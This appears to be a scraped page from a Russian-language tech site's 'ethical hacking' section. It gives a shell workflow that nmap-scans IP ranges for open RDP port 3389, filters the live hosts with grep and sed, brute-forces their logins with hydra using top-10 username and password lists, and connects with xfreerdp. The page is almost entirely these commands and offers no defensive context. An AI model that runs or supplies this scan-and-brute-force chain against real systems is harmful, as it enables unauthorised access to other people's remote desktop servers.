http://www.bestfilez.net/articles/ethical-hacking-and-penetration-testing/dedicated-rdp-servers-nmap-hydra-grep | |
Bestfilez.net - новости мира Hi-tech :: Статьи :: Этичный хакинг и тестирование на проникновение |
c='Path/To/Your/Script/Here'
nmap -sS -p3389 -PS3389 -oG $c/scannedOnlineServers.txt -iL $c/hostsIPRange.txt -vv
p='/Path/To/Your/Script/Here'
grep -E '/open/' $p/scannedOnlineServers.txt | sed 's/Host: //' > $p/scanGhostFile.txt
sed 's/ .*//' $p/scanGhostFile.txt | sort | uniq -u > $p/openedServers.txt
sed 's/ .*//' $p/scanGhostFile.txt | sort | uniq -d » $p/openedServers.txt
rm $p/scanGhostFile.txt
hydra -L (loginTop10listHere) -P (passTop10listHere) -M (openedServersHere) -vV -o (SavedOKServers) rdp
xfreerdp /u:LOGIN /p:PASSWORD /v:IP:3389